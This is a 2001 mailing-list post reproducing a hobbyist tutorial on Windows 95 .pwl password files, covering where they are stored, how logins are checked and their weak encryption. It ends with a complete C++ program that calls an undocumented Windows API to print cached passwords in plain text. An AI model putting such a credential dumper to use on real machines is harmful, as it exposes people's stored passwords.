Search the web
Sign In
New User? Sign Up
fdb · FDB's "Advanced Programming" list
? Already a member? Sign in to Yahoo!

Yahoo! Groups Tips

Did you know...
Message search is now enhanced, find messages faster. Take it for a spin.

Best of Y! Groups

   Check them out and nominate your group.
Having problems with message search? Fill out this form to ensure your group is one of the first to be migrated to the new message search system.

Messages

  Messages Help
Advanced
Windows Password Files Torn Apart   Message List  
Reply | Forward Message #31 of 103 |
Windows Password Files Torn Apart
By Ankit Fadia


All, Windows, users would probably be familiar with the infamous 'pwl' files
or the files where the Windows login passwords are stored. Well, this manual
is aimed at, simplifying how the authentication works when you type in your
User name And password, what exactly .pwl files contain, where exactly they
come into the picture and a whole lot of related things.


The *.pwl files are basically files in which the Windows Login Passwords are
stored in. These files can be found in the \Windows directory by the name of
the User, whose password it contains. For Example, if your Windows login
Username is ankit, then the corresponding password would be stored in
c:\windows\ankit.pwl Get it? These .pwl files are readable in any text
editor like Notepad, but they are definitely not understandable. A typical
example, of the contents of a .pwl file is as follows:


у,...-

џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџ
џџџџџџџ

џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџ
џџџџџџџ

џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџ
џџџџџџR



p u.аX+|rаq"Б/2Г ЪхЁhCJ,D з `ЭYЅ!эx}(qWЄуЦБ<!?рм6sс~єц4+\3/4ѕ+%EАЫд§mЧд
оIЛ, B рзoја...'@


This is definitely not something; a normal person can comprehend or make
sense of.


Now, besides the Windows registry, Microsoft's policy of security by
obscurity can also be seen in the case of what .pwl files. Although the
original usage of .pwl files was a standard to be used, by all applications,
Microsoft simply does not officially provide any type of information on the
standards of .pwl files.


To get a list of .pwl files in your system or in other words to find out
which all passwords using the .pwl technology (What a good friend of mine
likes to call them) are being stored on a particular system, then simply
open c:\windows\system.ini in a plaintext editor like Notepad and look under
the [Password Lists] section. A typical line from this section would be in
the following format: USERNAME=Path_of_pwl_file


For Example,


[Password Lists]

ankit=c:\windows\ankit.pwl


This tells us that the .pwl containing the password for the Username 'ankit'
is stored at: c:\windows\ankit.pwl


Anyway, the algorithm which is used in the case of storing information in
the .pwl files (rather in the .pwl security option), refers to such files as
databases, with each record consisting of three fields-:


Resource name

Resource password

Resource type (0..255)

Before, I move onto giving details about the above three fields, let us
discuss, how exactly the User Authentication process takes place in Windows
(In the case of the login password.)

NOTE: The below process is what happens in the case of the Windows login
password.


When you first set a new account on Windows, it derives an encryption key
from the specified password and creates c:\windows\username.pwl file, where
username is the, well, quite obvious. One, thing to note here is that the
.pwl file does not, I repeat does not store the login password, nor does it
store the Username.(Although its name is same as the Username for whose
authentication it is used.) What it stores, will become clearer once you
read the below paragraph.


Now, the next time, you boot your system and type in your Username and
password, then Windows,

decrypts the .pwl corresponding to the Username provided, using the
decrypting key obtained from the password provided. Once, the .pwl file has
been decrypted using the decryption key obtained from the provided password,
Windows, verifies the checksum. If the checksum is correct or matches, then
the user is authenticated else, try again. In the process of checksum
verification, the username provided plays an important role.


Both the Username and Checksum are encrypted using a simple algorithm: RC4.


*****************************

HACKING TRUTH: Although, almost always, the name of the .pwl file is same as
the Username, sometimes the name does differ. For Example, if, I use 2 to 3
different applications using .pwl security and then use the same username
i.e. ankit in all of them to store passwords, then the naming of the .pwl
files would be as follows:

The first .pwl would be named: ankit.pwl, the second would be named:
ankit000.pwl , the third would be: ankit001.pwl and so on.

And, I am not too sure, but from what I gather, Windows never ever
overwrites a .pwl file.

******************************


Coming, back to the fields. Both the resource name and resource password
fields can be binary or simply encrypted and they are interchangeable by the
application involved. The Resource Type field can have different numerical
values depending upon the software involved. For Example, DUN, Dial Up
Server and Windows Login, uses 6 as the value for the Resource Type field.
While, Internet Explorer uses 19 as the value of the same field.



One thing to note about Windows Login password algorithms is that, the first
time it was introduced, the algorithm was very very weak and allowed
passwords to be easily decrypted. However, with each new release, the
algorithms used have been improving. However, it still has not reached a
reliable level.

In the algorithms used by various Operating Systems to encrypt their login
passwords, the algorithm used by Windows is the worst. Some common defects
are-:


The cipher algorithms involved are relatively lame. i.e. RC4 and MD5. They
can easily be broken. Refer to: http://hackingtruths.box.sk\algorithms.htm
for more info on various Encryption algorithms.
All passwords are converted to uppercase
Un-acceptably lame or weak method of storage.
Various Holes existing in the Password Caching Facility. The following
Visual C++ program demonstrates further as to how this vulnerability can be
exploited.

/*
(c) 1997, 98 Vitas Ramanchauskas

Use Visual C++ to compile this into win32 console app.
This code provided for educational purpose only.
!! NO WARRANTY, NO SUPPORT !!
*/
#include <windows.h>
#include <stdio.h>

typedef struct tagPASSWORD_CACHE_ENTRY {
WORD cbEntry; // size of this entry, in bytes
WORD cbResource; // size of resource name, in bytes
WORD cbPassword; // size of password, in bytes
BYTE iEntry; // entry index
BYTE nType; // type of entry
BYTE abResource[1]; // start of resource name
// password immediately follows resource name
} PASSWORD_CACHE_ENTRY;

char *buf, *ob1;
int cnt = 0;

BOOL CALLBACK pce(PASSWORD_CACHE_ENTRY *x, DWORD)
{
cnt++;
memmove(buf, x->abResource, x->cbResource);
buf[x->cbResource] = 0;
CharToOem(buf, ob1); // for non-English users
printf("%-30s : ", ob1);

memmove(buf, x->abResource+x->cbResource, x->cbPassword);
buf[x->cbPassword] = 0;
CharToOem(buf, ob1);
printf("%s\n", ob1);

return TRUE;
}

void main()
{
buf = new char[1024];
ob1 = new char[1024];
puts("There is no security in this crazy world!\n"
"Win95 PWL viewer v1.01 (c) 1997, 98 Vitas Ramanchauskas\n"
"************\n"
"!DISCLAIMER!\n"
"!This program intended to be used for legal purpose only!\n"
"************\n\n"
"This program shows cached passwords using standard (but undocumented)\n"
"Windows API on local machine for current user (user must be logged in).\n"
"You may invoke pwlview in this way: pwlview >> textfile.txt\n"
"to save passwords in file (don't forget to press enter twice)\n"
"Press Enter to begin...\n");
getchar();

HINSTANCE hi = LoadLibrary("mpr.dll");
if(!hi)
{
puts("Couldn't load mpr.dll. This program is for Windows 95 only");
return;
}
WORD (__stdcall *enp)(LPSTR, WORD, BYTE, void*, DWORD) =
(WORD (__stdcall *)(LPSTR, WORD, BYTE, void*, DWORD))GetProcAddress(hi,
"WNetEnumCachedPasswords");
if(!enp)
{
puts("Couldn't import function. This program is for Windows 95 only");
return;
}
(*enp)(0,0, 0xff, pce, 0);
if(!cnt)
puts("No passwords found.\n"
"Probably password caching was not used or user is not logged in.");
FreeLibrary(hi);
puts("\nPress Enter to quit");
getchar();
}


Well, that is all friends, this is Ankit Fadia, signing off until the next
Hacking Truths Manual. Bye.

Ankit Fadia,

ankit@...

http://hackingtruths.box.sk/











Fri Jul 13, 2001 7:19 am

ferialb@...
Send Email Send Email

Forward
Message #31 of 103 |
Expand Messages Author Sort by Date

Windows Password Files Torn Apart By Ankit Fadia All, Windows, users would probably be familiar with the infamous 'pwl' files or the files where the Windows...
FDB & HRB
ferialb@...
Send Email
Jun 15, 2001
7:40 am
Advanced

Copyright Љ 2009 Yahoo! Inc. All rights reserved.
Privacy Policy - Terms of Service - Guidelines - Help